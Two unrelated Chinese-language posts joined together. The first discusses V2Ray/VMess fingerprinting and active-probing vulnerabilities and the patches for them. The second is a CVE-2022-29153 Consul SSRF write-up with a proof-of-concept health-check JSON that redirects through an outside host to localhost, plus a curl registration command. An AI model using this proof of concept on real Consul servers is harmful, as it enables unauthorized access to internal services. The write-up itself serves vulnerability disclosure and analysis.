这可能是 V2ray 自 15 年发布 v1.0.0 以来面临的最大危机.

六一前后, 有大量网友反应自己的裸 V2ray 配置(Vmess+TCP 的默认配置)失效了, 我本来也没太当回事, 毕竟过几天就是 535 了, 断一断网是老传统, 并没有什么好说的. 不过有一点与以往不同, 这次被阻断的用户都是使用默认配置.

V2ray 的默认配置是 Vmess+TCP. 虽然中庸普通, 但它并不是一个容易被阻断的配置. 之前被阻断的 V2ray 配置通常都是些 KCP/mKCP 或是 QUIC 这类的基于 UDP 协议的配置. UDP 通信数据特征明显, 因此容易被 GFW 逮个正着. 而 TCP 是可靠协议, 而且目前大量的网络数据也是基于 TCP 协议, 因此 TCP 协议一直都还算安全.

我的认知里Vmess协议有个安全性排名: Vmess+TCP/WS/HTTP2+TLS > Vmess+TCP/WS/HTTP2 > Vmess+KCP/mKCP/QUIC. 如果用白话来解释就是带TLS的配置是最高一档90分优秀, 中间配置60分及格凑合, 最后一档是不及格. 我一直认为, 只要不用 KCP/mKCP/QUIC 爆炸三兄弟, 还是能舒心上网的. 然而我的预判出了大错误.

发现重大安全漏洞

QV2ray-dev 社区首先发声. 六一当天, QV2ray-dev 警告用户不要使用 Vmess+TCP, 部分 Vmess+WS 及部分 Vmess+ws+TLS(insecure) 的配置组合. 他解释到 GFW 正在进行主动探测, 在 30s 内就可以接近 100% 的探测出你是否使用 Vmess+TCP 的配置, 其他配置亦可以受到波及. 并且此问题并无解决方案, 解决该问题可能需要重新设计 Vmess 协议.

看到了这条消息后, 当下到 V2ray 社区逛了一圈, 发现事态比想象中的严重许多. p4gefau1t 发了一个名为 v2ray的TLS流量可被简单特征码匹配精准识别（附PoC) 的帖子. 过后十几小时又发了个名为 vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC) 的帖子. 这两个帖子在短短几小时内已经获得了数十个回复, 并且多为负责此项目的大牛.

p4gefau1t 首先发现仅凭tls client hello的cipher suite字段，就可以非常准确地将v2ray流量和正常浏览器流量区分开来。

他通过 这篇文章 中提到了使用机器学习训练的模型可对v2ray的tls+ws流量进行识别，准确率高达0.9999. 后来, 经过本地测试，可以复现。并且不限于tls+ws，对tls+vmess等组合也同样有效。其他tls流量如浏览器流量等，全程没有出现误报情况。因此初步怀疑是v2ray使用的utls进行client hello伪造出现的问题。

通过抓包对比真实的chrome与utls的client hello，发现两者基本一致，但与v2ray的存在较大差别，其中包括suite和extension的差别。此后，我们将utls的chrome的cipher suite patch到v2ray中后，此模型无法识别v2ray的tls流量。所以我们可以初步认为，模型很可能是学习了tls client hello的特征，导致流量被识别。

他发现识别tls client hello并不需要使用机器学习的方法，简单的DPI即可实现，因此在gfw部署的成本很低。并且，由于这组cipher suites太过特殊，我们可以仅凭cipher suites进行准确识别。

Cipher Suite 的特征有多特殊呢? 帖子下的网友随手撸一个从 0x90 偏移量开始的 memcmp 都能精准高效识别“特征码”：cca8cca9c02fc02bc030c02cc027c013c023c009c014c00a130113031302 甚至可以利用 iptables 进行明文匹配…… 帖内多个网友用其他配置也多次复现成功, 都得到了相同的特征码.

这个漏洞可以说是十分棘手. 几乎可以说只要 GFW 想, 随时可以全国断网, 并且不分配置(不管有没有 TLS 都是死路一条).

p4gefau1t 在十几个小时后又发了一个帖子. 这次他构造出了更具杀伤性的PoC, 仅需16次探测即可准确判定vmess服务，误报可能性几乎为0，校验的缓解措施均无效。唯一的解决方案是禁用vmess或者重新设计协议。

16 字节	X 字节	余下部分
认证信息	指令部分	数据部分

Vmess 协议前16字节为认证信息，内容为和时间、用户ID相关的散列值。根据协议设计，每个16字节的认证信息auth的有效期只有30秒。而问题出在指令部分。指令部分使用了没有认证能力的aes-cfb方式，因此攻击者可以篡改其中内容，而仍然能被服务器接受。

1 字节	16 字节	16 字节	1 字节	1 字节	4 位	4 位	1 字节	1 字节	2 字节	1 字节	N 字节	P 字节	4 字节
版本号 Ver	数据加密 IV	数据加密 Key	响应认证 V	选项 Opt	余量 P	加密方式 Sec	保留	指令 Cmd	端口 Port	地址类型 T	地址 A	随机值	校验 F

前16字节的认证信息可以被重复使用，并且只要通过认证，执行流即可进行到140行，初始化aes密钥流。接着在144行处，服务端在没有经过任何认证的情况下，读入38字节的密文，并使用aes-cfb进行解密，在没有进行任何校验的情况下，将其中版本号，余量P，加密方式等信息，直接填入结构体中。

这里问题已经很明显了，攻击者只需要得知16字节的认证信息，就可以在30秒内反复修改这38字节的信息进行反复的重放攻击/密文填充攻击。

aes本身可以抵抗已知明文攻击，因此安全性方面基本没有问题。出现问题的是余量P。我猜想设计者应该是为了避免包的长度特征而引入这个字段，但是读入余量的方式出现了问题：在没有校验余量P、加密方式Sec、版本号Ver、指令 Cmd、地址类型T、地址A的情况下，将P直接代入ReadFullFrom中读取P字节（182行）。注意，这里P的范围是2^4=16字节以内。读取P+4字节后，v2ray才会对前面读入的内容进行校验，判断命令部分是否合法。如果不合法，断开连接。

临时性纾困方案

V2ray 社区针对这一漏洞在一周内接连推出了两个小的版本更新, 4.23.3 和 4.23.4.

• v4.23.3 修复了 vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC) 中的严重漏洞.
• v4.23.4 进一步的修复了 Vmess 和 伪HTTP头的漏洞.

V2Ray 项目在最近的几天内收到了数个隐匿性能方面的漏洞报告。这些漏洞都在被提出的数个小时内被解决（除 mKCP 修复暂缓）并发布相关更新。您可以升级到最新版本 v4.23.4 来获取最大程度的保护。我们支持和鼓励寻找并提出 V2Ray 各个方面漏洞的人。我们希望 V2Ray 的用户不要指责或者攻击为我们提供安全审计的人士。

可以使用

如果你已经升级到 V2Ray v4.23.4，并且没有开启 TLS 的 AllowInsecure 选项，以下配置组合不会泄露识别信息：

VMess over Websocket with TLS

VMess over TLS

VMess over HTTP/2 （使用 TLS 的 HTTP/2，并非 h2c）

Shadowsocks(AEAD) over Websocket with TLS

谨慎使用

以下配置组合可能会在攻击者位于网络路径上时可能会使攻击者获得的协议数据的一些统计学属性，但是这些信息不足以用于确定服务器上部署了这些协议

VMess over TCP （还在继续改进中） 已修复, 可以正常使用

并不建议

以下配置组合不建议用于穿越被攻击者控制的网络：

任何协议 + SOCKS5

任何协议 + HTTP 代理

任何协议 + HTTP 伪装

任何协议 + mKCP + 任何伪装

-xiaokangwang 于 关于在近期收到的数个漏洞的项目组公告

协议的长期解决方案

重写 Vmess 协议可能是在较长时间内解决这一问题的唯一出路.

Vmess 协议已经诞生了很长一段时间. 那时候互联网上tls并不普及，tls1.3也还没出来。因此协议过时出现问题可以说是必然. 依照此趋势, 我倾向于认为下一代的 Vmess 默认协议可能会是类似 Vmess+TCP/WS/HTTP2+TLS 的设计. HTTP3 短期看来不太可能有具体应用, 毕竟 QUIC 作为 HTTP3的雏形, 翻车翻成什么样大家心里都有数.

这次可能可以说是 V2ray 面世五年来遇到的最大一次危机. 不过, 目前的两个紧急补丁已经缓解了燃眉之急, 并且就 V2ray 社区的效率(两天内连续两个补丁), 我基本上已经消解了我之前的随时可能断网的担忧了.

当前社区内对于新协议的讨论如火如荼, 每天都能看到新的点子冒出来. 过不了多久可能就会见到新的用于替换当前的 Vmess 的协议, 或者是目睹 V2ray 终于要进入 v5.0.0时代. 不论是目睹了其中的任何一件, 都是在见证历史, 见证开源社区的协作, 见证又一次与 GFW 的缠斗.

CVE-2022-29153 consul SSRF

本文转自cokeBeer 并作补充

漏洞信息

• 漏洞类型：SSRF
• 漏洞版本：< 1.9.17，>= 1.10.0, < 1.10.10，>= 1.11.0, < 1.11.5
• 漏洞简介：http类型的health_check被重定向导致的SSRF

repo介绍

consul是一个用go语言编写的分布式应用管理服务器，目前在github上已经有24.7k个star

漏洞分析

consul提供了对于服务的health_check能力。首先安装一个漏洞版本的consul

1 2 3

curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add - sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main" sudo apt-get update && sudo apt-get install consul=1.10.9

然后启动一个consul服务器

1	consul agent -dev -enable-script-checks -node=web -ui

访问http://localhost:8500/可以看到consul的界面

编写一个ssrf.json作为poc，里面标志的http地址会将请求302重定向到127.0.0.1:80

1 2 3 4 5 6 7 8 9 10 11 12 13

{ "ID": "ssrf", "name": "ssrf", "port": 5001, "check": { "checkid": "ssrf_check", "name": "Check ssrf", "http": "http://fuzz.red/ssrf/127.0.0.1/", "method": "GET", "interval": "10s", "timeout": "1s" } }

使用如下指令将health_check注册到consul服务器

1	curl --request PUT --data @ssrf.json http://127.0.0.1:8500/v1/agent/service/register

可以看到添加成功

这时consul会主动运行health_check，请求被302重定向到内网，导致了SSRF。可以看到nc也收到了请求

修复方式

在agent/config.go中添加DisableRedirects字段，可以在服务器端配置，关闭health_check的重定向

参考链接

• https://github.com/advisories/GHSA-q6h7-4qgw-2j9p